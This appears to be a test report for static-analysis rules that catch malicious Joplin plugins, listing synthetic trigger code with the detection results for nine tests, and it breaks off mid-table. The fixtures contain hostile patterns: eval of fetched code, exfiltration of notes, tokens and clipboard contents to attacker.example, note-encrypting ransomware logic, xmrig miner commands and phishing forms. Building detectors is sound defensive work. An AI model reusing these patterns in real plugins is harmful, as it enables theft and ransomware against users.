These are the tests done on 11 custom plugins that were made specially to trigger the rules using the mock test data in the official plugins-test test repository.
These tests were done till the rules caught every flow in the code and the rules were updated for it accordingly.
Here are all the 11 tests issues : Issues · akshajrawat/plugins-test · GitHub
After this, I ran tests on top 20 joplin plugins again and all of them passed with clean result.
The followings are the result of each tests with the code that was used for it :
1. Test 1 :
Test code
import * as http from 'http';
import * as vm from 'vm';
import joplin from 'api';
import axios from 'axios';
import superagent from 'superagent';
/**
* TARGET RULE: Rule 1 - Dynamic Code Execution
*/
export async function triggerRuleOne(url: string, panel: string) {
const res = await fetch(url);
eval(await res.text());
const axios_result = await axios.get(url);
new Function(axios_result.data)();
let body = '';
http.get(url).on('data', (chunk: any) => {
body += chunk;
}).on('end', () => {
setTimeout(body);
});
superagent.get(url).then((reply: any) => {
vm.runInNewContext(reply.text);
});
const stored = await joplin.data.userDataGet(1, '1', 'payload');
setInterval(stored as any);
joplin.views.panels.onMessage(panel, (message: any) => {
vm.compileFunction(message, []);
});
}
/**
* TARGET RULE: Rule 2b - Suspicious Sensitive Key Access
*/
export async function triggerRuleTwo() {
await joplin.settings.globalValue('api.token');
await joplin.settings.globalValue('encryption.cachedPpk');
await joplin.settings.globalValue('encryption.passwordCache');
await joplin.settings.globalValue('sync.5.password');
await joplin.settings.globalValues([
'api.token',
'encryption.cachedPpk',
'sync.6.password',
]);
await joplin.settings.globalValue('encryption.masterPassword');
await joplin.settings.globalValue('syncInfoCache');
await joplin.settings.globalValues([
'encryption.masterPassword',
'syncInfoCache',
]);
await joplin.settings.globalValue('theme');
}
Link : https://github.com/akshajrawat/plugins-test/issues/38
| Severity | Rule Violated | File / Location | Flagged For |
|---|---|---|---|
joplin/sync-smuggling |
src/script.ts#L29 |
Sync Smuggling Execution: Hidden userDataSet content flows to an execution or network sink, signaling stealthy Remote Code Execution (RCE). |
|
js/joplin/dynamic-code-execution |
src/script.ts#L12 |
Dynamic Code Execution: Remote data flows directly to a dynamic execution sink. | |
js/joplin/dynamic-code-execution |
src/script.ts#L15 |
Dynamic Code Execution: Remote data flows directly to a dynamic execution sink. | |
js/joplin/dynamic-code-execution |
src/script.ts#L21 |
Dynamic Code Execution: Remote data flows directly to a dynamic execution sink. | |
js/joplin/dynamic-code-execution |
src/script.ts#L25 |
Dynamic Code Execution: Remote data flows directly to a dynamic execution sink. | |
js/joplin/dynamic-code-execution |
src/script.ts#L29 |
Dynamic Code Execution: Remote data flows directly to a dynamic execution sink. | |
js/joplin/dynamic-code-execution |
src/script.ts#L32 |
Dynamic Code Execution: Remote data flows directly to a dynamic execution sink. | |
js/joplin/secret-key-access |
src/script.ts#L40 |
Suspicious Sensitive Key Access: Attempting to access a highly sensitive credential. | |
js/joplin/secret-key-access |
src/script.ts#L41 |
Suspicious Sensitive Key Access: Attempting to access a highly sensitive credential. | |
js/joplin/secret-key-access |
src/script.ts#L42 |
Suspicious Sensitive Key Access: Attempting to access a highly sensitive credential. | |
js/joplin/secret-key-access |
src/script.ts#L43 |
Suspicious Sensitive Key Access: Attempting to access a highly sensitive credential. | |
js/joplin/secret-key-access |
src/script.ts#L45 |
Suspicious Sensitive Key Access: Attempting to access a highly sensitive credential. | |
js/joplin/secret-key-access |
src/script.ts#L51 |
Suspicious Sensitive Key Access: Combined access of BOTH masterPassword and syncInfoCache detected. | |
js/joplin/secret-key-access |
src/script.ts#L52 |
Suspicious Sensitive Key Access: Combined access of BOTH masterPassword and syncInfoCache detected. | |
js/joplin/secret-key-access |
src/script.ts#L54 |
Suspicious Sensitive Key Access: Combined access of BOTH masterPassword and syncInfoCache detected. |
2. Test 2 :
Test code
import * as fs from 'fs';
import * as os from 'os';
import * as path from 'path';
import * as electron from 'electron';
import joplin from 'api';
/**
* TARGET RULE: Rule 3 - Unauthorized FS Access
*/
export async function triggerRule3() {
fs.writeFileSync(__dirname, 'plugin-path');
fs.writeFileSync(process.cwd(), 'cwd-path');
fs.writeFileSync(os.homedir(), 'home-path');
fs.writeFileSync(os.tmpdir(), 'tmp-path');
fs.writeFileSync(electron.app.getPath('userData'), 'electron-path');
const dataDir = await joplin.plugins.dataDir();
fs.writeFileSync(path.join(dataDir, 'state.json'), '{}');
}
/**
* TARGET RULE: Rule 3b - Plugin Self-Modification
*/
export async function triggerRule3b() {
fs.writeFileSync(__dirname + '/index.js', 'patched');
fs.unlinkSync(__filename + '/manifest.json');
const installDir = await joplin.plugins.installationDir();
fs.writeFileSync(installDir + '/package.json', '{}');
}
/**
* TARGET RULE: Rule 3c - Hardcoded Config Targeting
*/
export function triggerRule3c() {
fs.writeFileSync('/home/user/.config/joplin-desktop/database.sqlite', 'patched');
fs.unlinkSync('/home/user/.ssh/id_rsa');
}
Link : https://github.com/akshajrawat/plugins-test/issues/32
| Severity | Rule Violated | File / Location | Flagged For |
|---|---|---|---|
js/joplin/unauthorized-fs-access-config-literal |
src/script.ts#L37 |
Sensitive Path Targeting: The plugin contains a hardcoded operation targeting a sensitive user configuration or database path. | |
js/joplin/unauthorized-fs-access-config-literal |
src/script.ts#L38 |
Sensitive Path Targeting: The plugin contains a hardcoded operation targeting a sensitive user configuration or database path. | |
js/joplin/unauthorized-fs-access-self-modification |
src/script.ts#L26 |
Plugin Self-Modification: The plugin is attempting to overwrite or delete its own installation files. | |
js/joplin/unauthorized-fs-access-self-modification |
src/script.ts#L27 |
Plugin Self-Modification: The plugin is attempting to overwrite or delete its own installation files. | |
js/joplin/unauthorized-fs-access-self-modification |
src/script.ts#L30 |
Plugin Self-Modification: The plugin is attempting to overwrite or delete its own installation files. | |
js/joplin/unauthorized-fs-access |
src/script.ts#L12 |
Unauthorized File System Access: The plugin is using path-revealing variables outside of the safe Joplin sandbox. | |
js/joplin/unauthorized-fs-access |
src/script.ts#L13 |
Unauthorized File System Access: The plugin is using path-revealing variables outside of the safe Joplin sandbox. | |
js/joplin/unauthorized-fs-access |
src/script.ts#L14 |
Unauthorized File System Access: The plugin is using path-revealing variables outside of the safe Joplin sandbox. | |
js/joplin/unauthorized-fs-access |
src/script.ts#L15 |
Temporary Directory Access: The plugin is writing to os.tmpdir(). |
|
js/joplin/unauthorized-fs-access |
src/script.ts#L16 |
Unauthorized File System Access: The plugin is using path-revealing variables outside of the safe Joplin sandbox. | |
js/joplin/unauthorized-fs-access |
src/script.ts#L26 |
Unauthorized File System Access: The plugin is using path-revealing variables outside of the safe Joplin sandbox. | |
joplin/electron-api-usage |
src/script.ts#L4 |
Unauthorized Native API Usage: The plugin is importing the raw electron module directly, bypassing Joplin's plugin APIs. |
|
joplin/electron-api-usage |
src/script.ts#L16 |
Unauthorized Native API Usage: The plugin is importing the raw electron module directly. Use joplin.plugins.dataDir instead of electron.app paths. |
|
js/insecure-temporary-file |
src/script.ts#L15 |
Insecure temporary file: Insecure creation of file in the OS temp directory. |
3. Test 3 :
Test code
import * as dgram from 'dgram';
import * as http from 'http';
import * as net from 'net';
import express from 'express';
import fastify from 'fastify';
import { Server as WebSocketServer } from 'ws';
import joplin from 'api';
/**
* TARGET RULE: Rule 4 - Network Backdoor
*/
export function triggerRule4() {
net.createServer().listen(3000);
http.createServer().listen(3001, '127.0.0.1');
dgram.createSocket('udp4').bind(3002);
express().listen(3003);
fastify().listen({ port: 3004 });
(new WebSocketServer({ noServer: true }) as any).listen(3005);
}
/**
* TARGET RULE: Rule 5 - Clipboard Injection
*/
export async function triggerRule5(url: string) {
const copied = await joplin.clipboard.readText();
await joplin.clipboard.writeHtml('<b>' + copied + '</b>');
const remote = await fetch(url);
await joplin.clipboard.writeText(await remote.text());
}
/**
* TARGET RULE: Rule 5b - Clipboard Exfiltration
*/
export async function triggerRule5b() {
const copied = await joplin.clipboard.readText();
fetch('https://attacker.example/clipboard?' + copied);
}
Link : https://github.com/akshajrawat/plugins-test/issues/34
| Severity | Rule Violated | File / Location | Flagged For |
|---|---|---|---|
js/joplin/clipboard-injection |
src/script.ts#L26 |
Clipboard Hijacking Risk: The plugin reads external remote or current clipboard data and replaces the clipboard contents. | |
js/joplin/clipboard-injection |
src/script.ts#L29 |
Clipboard Hijacking Risk: The plugin reads external remote or current clipboard data and replaces the clipboard contents. | |
js/joplin/network-backdoor |
src/script.ts#L13 |
Network Backdoor: The plugin opens a listening port that may be accessible externally. | |
js/joplin/network-backdoor |
src/script.ts#L14 |
Localhost Bind Detected: The plugin opens a local listening port restricted to localhost. | |
js/joplin/network-backdoor |
src/script.ts#L15 |
Network Backdoor: The plugin opens a listening port that may be accessible externally. | |
js/joplin/network-backdoor |
src/script.ts#L16 |
Network Backdoor: The plugin opens a listening port that may be accessible externally. | |
js/joplin/network-backdoor |
src/script.ts#L17 |
Network Backdoor: The plugin opens a listening port that may be accessible externally. | |
js/joplin/network-backdoor |
src/script.ts#L18 |
Network Backdoor: The plugin opens a listening port that may be accessible externally. | |
js/joplin/clipboard-exfiltration |
src/script.ts#L37 |
Clipboard Exfiltration Risk: The plugin reads the user's clipboard and transmits the contents over the network. |
4. Test 4 :
Test code
import * as childProcess from 'child_process';
import joplin from 'api';
/**
* TARGET RULE: Rule 5c - Clipboard Execution
*/
export async function triggerRule5c() {
const copied = await joplin.clipboard.readText();
eval(copied);
childProcess.exec(copied);
}
/**
* TARGET RULE: Rule 5d - Clipboard Hijacking (Background)
*/
export function triggerRule5d() {
setInterval(() => {
joplin.clipboard.readText();
}, 1000);
while (true) {
joplin.clipboard.writeText('replacement');
}
}
/**
* TARGET RULE: Rule 6 - Native Binary Dropping & Cryptojacking
*/
export async function triggerRule6(url: string) {
const payload = await (await fetch(url)).text();
childProcess.exec(payload);
childProcess.exec('xmrig --url stratum+tcp://pool.example:3333');
childProcess.spawn('xmrig', ['--url', 'pool.example'], { shell: true });
}
Link : https://github.com/akshajrawat/plugins-test/issues/37
| Severity | Rule Violated | File / Location | Flagged For |
|---|---|---|---|
js/joplin/cryptojacking |
src/script.ts#L31 |
Native Binary Dropping & Cryptojacking: Passing external payloads or cryptominer keywords to a system terminal command with shell: true. |
|
js/joplin/cryptojacking |
src/script.ts#L33 |
Native Binary Dropping & Cryptojacking: Passing external payloads or cryptominer keywords to a system terminal command with shell: true. |
|
js/joplin/cryptojacking |
src/script.ts#L34 |
Native Binary Dropping & Cryptojacking: Passing external payloads or cryptominer keywords to a system terminal command with shell: true. |
|
js/joplin/clipboard-background |
src/script.ts#L18 |
Clipboard Hijacking (Background): Silent Clipboard Access inside a loop or background interval. | |
js/joplin/clipboard-background |
src/script.ts#L22 |
Clipboard Hijacking (Background): Silent Clipboard Access inside a loop or background interval. | |
js/joplin/clipboard-execution |
src/script.ts#L9 |
Clipboard Execution: Reading the user's clipboard and passing it directly into a code evaluation or terminal command sink. | |
js/joplin/clipboard-execution |
src/script.ts#L10 |
Clipboard Execution: Reading the user's clipboard and passing it directly into a code evaluation or terminal command sink. | |
js/command-line-injection |
src/script.ts#L31 |
Uncontrolled command line: Command line execution depends on a user-provided value. |
5. Test 5 :
Test code
import * as childProcess from 'child_process';
import joplin from 'api';
/**
* TARGET RULE: Rule 7 - Command Execution
*/
export async function triggerRule7(panel: string) {
const theme = await joplin.settings.globalValue('theme');
childProcess.exec('apply-theme ' + theme);
const note = await joplin.data.get(['notes', '1']);
childProcess.execFile(note.title, []);
const hidden = await joplin.data.userDataGet(1, '1', 'command');
childProcess.spawn(hidden as any, []);
const selected = await joplin.workspace.selectedNote();
childProcess.execSync(selected.title);
joplin.workspace.onNoteChange((event: any) => {
childProcess.exec('note-changed ' + event.id);
});
joplin.views.panels.onMessage(panel, (message: any) => {
childProcess.spawnSync(message.command, message.args);
});
}
/**
* TARGET RULE: Rule 7b - Command Execution (Structural)
*/
export function triggerRule7b() {
childProcess.exec('echo reviewed');
childProcess.spawn('node', ['--version']);
childProcess.exec('xmrig --url stratum+tcp://pool.example:3333');
}
/**
* TARGET RULE: Rule 8 - Data Exfiltration
*/
export async function triggerRule8() {
const notes = await joplin.data.get(['notes']);
fetch('https://attacker.example/notes', {
method: 'POST',
body: JSON.stringify(notes),
});
const folders = await joplin.data.get(['folders']);
fetch('https://attacker.example/folders?' + folders.items.length);
const resource = await joplin.data.get(['resources', '1']);
fetch('https://attacker.example/resource', {
method: 'POST',
body: JSON.stringify(resource),
});
const selected = await joplin.workspace.selectedNote();
fetch('https://attacker.example/selected?' + selected.id);
fetch('http://localhost:41184/local', {
method: 'POST',
body: JSON.stringify(notes),
});
}
Link : https://github.com/akshajrawat/plugins-test/issues/41
| Severity | Rule Violated | File / Location | Flagged For |
|---|---|---|---|
js/joplin/cryptojacking |
src/script.ts#L35 |
Native Binary Dropping & Cryptojacking: Passing external payloads or cryptominer keywords to a system terminal command with shell: true. |
|
js/joplin/data-exfiltration |
src/script.ts#L45 |
Data Exfiltration Warning: Reading notes, folders, or resources and sending that data to an external network endpoint. | |
js/joplin/data-exfiltration |
src/script.ts#L49 |
Data Exfiltration Warning: Reading notes, folders, or resources and sending that data to an external network endpoint. | |
js/joplin/data-exfiltration |
src/script.ts#L54 |
Data Exfiltration Warning: Reading notes, folders, or resources and sending that data to an external network endpoint. | |
js/joplin/data-exfiltration |
src/script.ts#L58 |
Data Exfiltration Warning: Reading notes, folders, or resources and sending that data to an external network endpoint. | |
js/joplin/command-execution-structural |
src/script.ts#L33 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
js/joplin/command-execution-structural |
src/script.ts#L34 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
js/joplin/command-execution-structural |
webpack.config.js#L79 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
js/joplin/command-execution-structural |
webpack.config.js#L80 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
js/joplin/command-execution |
src/script.ts#L9 |
Terminal Command Execution: This code executes an external terminal command. | |
js/joplin/command-execution |
src/script.ts#L9 |
Terminal Command Execution: This code executes an external terminal command. | |
js/joplin/command-execution |
src/script.ts#L12 |
Terminal Command Execution: This code executes an external terminal command. | |
js/joplin/command-execution |
src/script.ts#L15 |
Terminal Command Execution: This code executes an external terminal command. | |
js/joplin/command-execution |
src/script.ts#L18 |
Terminal Command Execution: This code executes an external terminal command. | |
js/joplin/command-execution |
src/script.ts#L21 |
Terminal Command Execution: This code executes an external terminal command. | |
js/joplin/command-execution |
src/script.ts#L21 |
Terminal Command Execution: This code executes an external terminal command. | |
js/joplin/command-execution |
src/script.ts#L25 |
Terminal Command Execution: This code executes an external terminal command. |
6. Test 6 :
Test code
import * as crypto from 'crypto';
import joplin from 'api';
import { FileSystemItem } from 'api/types';
import * as childProcess from 'child_process';
import * as fs from 'fs';
async function encryptAndOverwrite(id: string) {
const note = await joplin.data.get(['notes', id]);
const cipher = crypto.createCipheriv('aes-256-cbc', '0123456789abcdef0123456789abcdef', '0123456789abcdef');
const body = cipher.update(note.body, 'utf8', 'hex') + cipher.final('hex');
await joplin.data.put(['notes', id], null, { body });
}
/**
* TARGET RULE: Rule 9 - Mass Encryption / Ransomware
*/
export async function triggerRule9() {
await encryptAndOverwrite('single-note');
['bulk-1', 'bulk-2'].forEach(async (id) => {
await encryptAndOverwrite(id);
});
}
/**
* TARGET RULE: Rule 9b - Ransomware Key Exfiltration
*/
export async function triggerRule9b(rawKey: CryptoKey, bytes: ArrayBuffer) {
const password = 'hold-notes-hostage';
crypto.createCipher('aes256', password);
fetch('https://attacker.example/key?' + password);
await crypto.subtle.encrypt({ name: 'AES-GCM', iv: new Uint8Array(12) }, rawKey, bytes);
fetch('https://attacker.example/raw-key', { method: 'POST', body: rawKey as any });
const algorithm = { name: 'AES-GCM' };
await crypto.subtle.importKey('raw', bytes, algorithm, false, ['encrypt']);
fetch('https://attacker.example/algorithm', {
method: 'POST',
body: JSON.stringify(algorithm),
});
}
/**
* TARGET RULE: Rule 10 - Silent Backup Hijacking (Taint)
*/
export async function triggerRule10() {
await joplin.interop.registerExportModule({
format: 'json',
description: 'JSON Export',
target: FileSystemItem.Directory,
isNoteArchive: false,
async onInit(context: any) {
fetch('https://attacker.example/export?dest=' + context.destPath);
},
async onProcessItem(context: any, itemType: number, item: any) {
fetch('https://attacker.example/item', {
method: 'POST',
body: JSON.stringify(item),
});
childProcess.exec('export-item ' + item.title);
fs.writeFileSync('/tmp/stolen-item.json', JSON.stringify(item));
fs.writeFileSync(context.destPath + '/item.json', JSON.stringify(item));
},
async onProcessResource(context: any, resource: any, filePath: string) {
childProcess.execFile(filePath, []);
fs.copyFileSync(filePath, '/tmp/stolen-resource.bin');
fetch('https://attacker.example/resource?' + resource.id);
},
async onClose(context: any) {
childProcess.execSync('close-export ' + context.destPath);
},
});
}
Link : https://github.com/akshajrawat/plugins-test/issues/42
| Severity | Rule Violated | File / Location | Flagged For |
|---|---|---|---|
js/joplin/backup-hijacking |
src/script.ts#L55 |
[High Confidence] Backup Hijacking Alert: Export data is confirmed flowing into a network request, terminal command, or unauthorized file path. | |
js/joplin/backup-hijacking |
src/script.ts#L61 |
[High Confidence] Backup Hijacking Alert: Export data is confirmed flowing into a network request, terminal command, or unauthorized file path. | |
js/joplin/backup-hijacking |
src/script.ts#L63 |
[High Confidence] Backup Hijacking Alert: Export data is confirmed flowing into a network request, terminal command, or unauthorized file path. | |
js/joplin/backup-hijacking |
src/script.ts#L63 |
[High Confidence] Backup Hijacking Alert: Export data is confirmed flowing into a network request, terminal command, or unauthorized file path. | |
js/joplin/backup-hijacking |
src/script.ts#L64 |
[High Confidence] Backup Hijacking Alert: Export data is confirmed flowing into a network request, terminal command, or unauthorized file path. | |
js/joplin/backup-hijacking |
src/script.ts#L69 |
[High Confidence] Backup Hijacking Alert: Export data is confirmed flowing into a network request, terminal command, or unauthorized file path. | |
js/joplin/backup-hijacking |
src/script.ts#L70 |
[High Confidence] Backup Hijacking Alert: Export data is confirmed flowing into a network request, terminal command, or unauthorized file path. | |
js/joplin/backup-hijacking |
src/script.ts#L71 |
[High Confidence] Backup Hijacking Alert: Export data is confirmed flowing into a network request, terminal command, or unauthorized file path. | |
js/joplin/backup-hijacking |
src/script.ts#L75 |
[High Confidence] Backup Hijacking Alert: Export data is confirmed flowing into a network request, terminal command, or unauthorized file path. | |
js/joplin/ransomware-key-exfil |
src/script.ts#L31 |
Critical Ransomware Indicator: Encryption key material is flowing to an external network endpoint. | |
js/joplin/ransomware-key-exfil |
src/script.ts#L34 |
Critical Ransomware Indicator: Encryption key material is flowing to an external network endpoint. | |
js/joplin/ransomware-key-exfil |
src/script.ts#L40 |
Critical Ransomware Indicator: Encryption key material is flowing to an external network endpoint. | |
js/joplin/ransomware |
src/script.ts#L11 |
Ransomware Pattern Detected: The plugin is reading Joplin notes, passing them through an encryption cipher, and overwriting the original notes. | |
js/joplin/command-execution-structural |
webpack.config.js#L79 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
js/joplin/command-execution-structural |
webpack.config.js#L80 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
js/joplin/backup-hijacking-structural |
src/script.ts#L55 |
[Low Confidence] Backup Hijacking Indicator: A network, terminal execution, or file-write call exists inside an export callback. | |
js/joplin/backup-hijacking-structural |
src/script.ts#L59 |
[Low Confidence] Backup Hijacking Indicator: A network, terminal execution, or file-write call exists inside an export callback. | |
js/joplin/backup-hijacking-structural |
src/script.ts#L63 |
[Low Confidence] Backup Hijacking Indicator: A network, terminal execution, or file-write call exists inside an export callback. | |
js/joplin/backup-hijacking-structural |
src/script.ts#L64 |
[Low Confidence] Backup Hijacking Indicator: A network, terminal execution, or file-write call exists inside an export callback. | |
js/joplin/backup-hijacking-structural |
src/script.ts#L69 |
[Low Confidence] Backup Hijacking Indicator: A network, terminal execution, or file-write call exists inside an export callback. | |
js/joplin/backup-hijacking-structural |
src/script.ts#L70 |
[Low Confidence] Backup Hijacking Indicator: A network, terminal execution, or file-write call exists inside an export callback. | |
js/joplin/backup-hijacking-structural |
src/script.ts#L71 |
[Low Confidence] Backup Hijacking Indicator: A network, terminal execution, or file-write call exists inside an export callback. | |
js/joplin/backup-hijacking-structural |
src/script.ts#L75 |
[Low Confidence] Backup Hijacking Indicator: A network, terminal execution, or file-write call exists inside an export callback. | |
js/insecure-temporary-file |
src/script.ts#L64 |
Insecure temporary file: Insecure creation of file in the OS temp directory. |
7. Test 7 :
Test code
import * as childProcess from 'child_process';
import * as fs from 'fs';
import joplin from 'api';
import { FileSystemItem } from 'api/types';
/**
* TARGET RULE: Rule 10b - Silent Backup Hijacking (Structural)
*/
export async function triggerRule10b() {
await joplin.interop.registerExportModule({
format: 'attacker',
description: 'Attacker Export',
target: FileSystemItem.Directory,
isNoteArchive: false,
async onInit(context: any) {
fetch('https://attacker.example/export-opened');
childProcess.exec('echo export-opened');
fs.writeFileSync('/tmp/export-opened.txt', 'opened');
fs.writeFileSync(context.destPath + '/manifest.txt', 'ok');
},
async onProcessItem(context: any, itemType: number, item: any) {
fs.writeFileSync('/tmp/export-item.txt', 'item');
},
async onProcessResource(context: any, resource: any, filePath: string) {
},
async onClose(context: any) {
},
});
}
/**
* TARGET RULE: Rule 11 - Remote Webview Scripts
*/
export async function triggerRule11(panel: string, dialog: string, editor: string) {
const note = await joplin.data.get(['notes', '1']);
await joplin.views.panels.setHtml(
panel,
'<img src="https://attacker.example/pixel?' + note.body + '">',
);
const token = await joplin.settings.globalValue('api.token');
await joplin.views.dialogs.setHtml(
dialog,
`<script src="https://attacker.example/${token}.js"></script>`,
);
await joplin.views.editors.setHtml(
editor,
'<iframe src="https://attacker.example/env?' + process.env.SYNC_TOKEN + '"></iframe>',
);
}
/**
* TARGET RULE: Rule 11b - Remote Webview Scripts (Structural)
*/
export async function triggerRule11b(panel: string, dialog: string, editor: string) {
await joplin.views.panels.setHtml(panel, '<script src="https://cdn.example/payload.js"></script>');
await joplin.views.dialogs.setHtml(dialog, '<link href="https://cdn.example/theme.css" rel="stylesheet">');
await joplin.views.editors.setHtml(editor, '<style>body{background:url(https://cdn.example/bg.png)}</style>');
}
Link : https://github.com/akshajrawat/plugins-test/issues/45
| Severity | Rule Violated | File / Location | Flagged For |
|---|---|---|---|
js/joplin/secret-key-theft |
src/script.ts#L47 |
Secret and Key Theft: Sensitive configuration data is flowing directly to an external or untrusted sink. | |
js/joplin/remote-webview-structural |
src/script.ts#L50 |
Remote Webview Scripts (Structural): Dynamically loading an external, remote URL into a Webview. | |
js/joplin/remote-webview-structural |
src/script.ts#L60 |
Remote Webview Scripts (Structural): Dynamically loading an external, remote URL into a Webview. | |
js/joplin/remote-webview-structural |
src/script.ts#L61 |
Remote Webview Scripts (Structural): Dynamically loading an external, remote URL into a Webview. | |
js/joplin/remote-webview-structural |
src/script.ts#L62 |
Remote Webview Scripts (Structural): Dynamically loading an external, remote URL into a Webview. | |
js/joplin/command-execution-structural |
src/script.ts#L17 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
js/joplin/command-execution-structural |
webpack.config.js#L79 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
js/joplin/command-execution-structural |
webpack.config.js#L80 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
js/joplin/secret-key-access |
src/script.ts#L44 |
Suspicious Sensitive Key Access: Attempting to access a highly sensitive credential. | |
js/joplin/backup-hijacking-structural |
src/script.ts#L16 |
Silent Backup Hijacking (Structural): A network, terminal execution, or file-write call exists inside an export callback. | |
js/joplin/backup-hijacking-structural |
src/script.ts#L17 |
Silent Backup Hijacking (Structural): A network, terminal execution, or file-write call exists inside an export callback. | |
js/joplin/backup-hijacking-structural |
src/script.ts#L18 |
Silent Backup Hijacking (Structural): A network, terminal execution, or file-write call exists inside an export callback. | |
js/joplin/backup-hijacking-structural |
src/script.ts#L23 |
Silent Backup Hijacking (Structural): A network, terminal execution, or file-write call exists inside an export callback. | |
js/joplin/remote-webview |
src/script.ts#L41 |
Remote Webview Scripts: Sensitive Joplin data is being dynamically injected into an external URL attribute in a Webview. | |
js/joplin/remote-webview |
src/script.ts#L47 |
Remote Webview Scripts: Sensitive Joplin data is being dynamically injected into an external URL attribute in a Webview. | |
js/joplin/remote-webview |
src/script.ts#L52 |
Remote Webview Scripts: Sensitive Joplin data is being dynamically injected into an external URL attribute in a Webview. | |
js/insecure-temporary-file |
src/script.ts#L18 |
Insecure temporary file: Insecure creation of file in the OS temp directory. | |
js/insecure-temporary-file |
src/script.ts#L23 |
Insecure temporary file: Insecure creation of file in the OS temp directory. |
8. Test 8 :
Test code
import * as childProcess from 'child_process';
import joplin from 'api';
import * as fs from 'fs';
/**
* TARGET RULE: Rule 12 - Sync Smuggling (Intra-API Exfiltration)
*/
export async function triggerRule() {
const note = await joplin.data.get(['notes', 'source-note']);
await joplin.data.userDataSet(1, 'target-note', 'shadow', note.body);
const folder = await joplin.data.get(['folders', 'source-folder']);
await joplin.data.userDataSet(1, 'target-note', 'folder-copy', folder.title);
const payload = await joplin.data.userDataGet(1, 'target-note', 'shadow');
const stringified = JSON.stringify(payload);
eval(stringified);
childProcess.exec(stringified);
}
/**
* TARGET RULE: Rule 13 - Social Engineering & UI Phishing
*/
export async function triggerRule13(panel: string, dialog: string) {
await joplin.views.dialogs.setHtml(dialog, '<form><input type="password" name="token"></form>');
const result = await joplin.views.dialogs.open(dialog);
fetch('https://attacker.example/dialog', {
method: 'POST',
body: JSON.stringify(result.formData),
});
await joplin.views.panels.setHtml(panel, '<input name="api key" type="password">');
joplin.views.panels.onMessage(panel, (message: any) => {
fetch('https://attacker.example/panel?' + message.token);
});
}
/**
* TARGET RULE: Rule 14 - Asynchronous Tag Flooding & Search Poisoning
*/
export function triggerRule14() {
setInterval(() => {
joplin.data.post(['tags'], null, { title: 'spam' });
}, 1000);
for (let i = 0; i < 2; i++) {
fs.writeFileSync('/tmp/large.txt', Buffer.alloc(20000));
}
for (const tag of ['project', 'todo']) {
joplin.data.post(['tags'], null, { title: tag });
}
['note-1', 'note-2'].forEach((noteId) => {
joplin.data.post(['tags', 'tag-1', 'notes'], null, { id: noteId });
});
['resource-1', 'resource-2'].map((resourceId) => {
joplin.data.post(['resources'], null, { id: resourceId });
});
while (true) {
fs.writeFileSync('/tmp/flood.txt', 'x');
}
}
Link : https://github.com/akshajrawat/plugins-test/issues/44
| Severity | Rule Violated | File / Location | Flagged For |
|---|---|---|---|
joplin/ui-phishing |
src/script.ts#L29 |
UI Phishing Indicator: Data submitted through a custom Joplin dialog or prompt is being transmitted to an external network. | |
joplin/ui-phishing |
src/script.ts#L34 |
UI Phishing Indicator: Data submitted through a custom Joplin dialog or prompt is being transmitted to an external network. | |
joplin/sync-smuggling |
src/script.ts#L10 |
Sync Smuggling Attempt: Sensitive note, folder, or key data is being copied and hidden inside a note's invisible userDataSet property. |
|
joplin/sync-smuggling |
src/script.ts#L13 |
Sync Smuggling Attempt: Sensitive note, folder, or key data is being copied and hidden inside a note's invisible userDataSet property. |
|
joplin/sync-smuggling |
src/script.ts#L17 |
Sync Smuggling Execution: Hidden userDataSet content is being read out of the database and flowing directly into an execution or network sink. |
|
joplin/sync-smuggling |
src/script.ts#L18 |
Sync Smuggling Execution: Hidden userDataSet content is being read out of the database and flowing directly into an execution or network sink. |
|
joplin/keylogging |
src/script.ts#L34 |
Silent Surveillance / Hook Exfiltration: Data captured from a workspace, settings, or sync event hook is being funneled directly to a network request. | |
js/joplin/dynamic-code-execution |
src/script.ts#L17 |
Dynamic Code Execution: Remote data flows to dynamic code execution. | |
joplin/tag-flooding |
src/script.ts#L43 |
Resource Exhaustion: The plugin is creating tags, notes, or resources from an unbounded or background loop. | |
joplin/tag-flooding |
src/script.ts#L47 |
Disk Quota Exhaustion: The plugin is writing large chunks of data to the filesystem inside a loop. | |
joplin/tag-flooding |
src/script.ts#L63 |
Disk Quota Exhaustion: The plugin is writing to the filesystem inside an unbounded or infinite loop. | |
js/joplin/command-execution-structural |
webpack.config.js#L79 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
js/joplin/command-execution-structural |
webpack.config.js#L80 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
js/joplin/command-execution |
src/script.ts#L18 |
Terminal Command Execution: This code executes an external terminal command. | |
js/joplin/command-execution |
src/script.ts#L18 |
Terminal Command Execution: This code executes an external terminal command. | |
js/insecure-temporary-file |
src/script.ts#L47 |
Insecure temporary file: Insecure creation of file in the OS temp directory. | |
js/insecure-temporary-file |
src/script.ts#L63 |
Insecure temporary file: Insecure creation of file in the OS temp directory. |
9. Test 9 :
Test code
import joplin from 'api';
import {
BrowserWindow,
app,
clipboard,
dialog,
ipcMain,
ipcRenderer,
screen,
shell,
} from 'electron';
/**
* TARGET RULE: Rule 15 - Semantic Integrity Sabotage (Gaslighting)
*/
function triggerRule15() {
joplin.workspace.onNoteSelectionChange(async (event: any) => {
await joplin.data.put(['notes', event.id], null, { body: 'changed' });
});
joplin.workspace.onNoteChange(async (event: any) => {
await joplin.data.delete(['notes', event.id]);
});
joplin.workspace.onNoteContentChange(async () => {
await joplin.commands.execute('replaceSelection', 'updated');
});
}
/**
* TARGET RULE: Rule 16 - Electron Main Process Takeover
*/
function triggerRule16() {
const remote = require('@electron/remote');
remote.app.quit();
require('electron').remote.getCurrentWindow().close();
}
/**
* TARGET RULE: Rule 16b - Unauthorized Electron API Usage
*/
function triggerRule() {
new BrowserWindow();
dialog.showOpenDialog({});
app.getPath('userData');
clipboard.readText();
shell.openExternal('https://example.com');
ipcRenderer.send('raw-channel');
ipcMain.on('raw-channel', () => { });
screen.getPrimaryDisplay();
}
Link : https://github.com/akshajrawat/plugins-test/issues/46
| Severity | Rule Violated | File / Location | Flagged For |
|---|---|---|---|
joplin/electron-main-takeover |
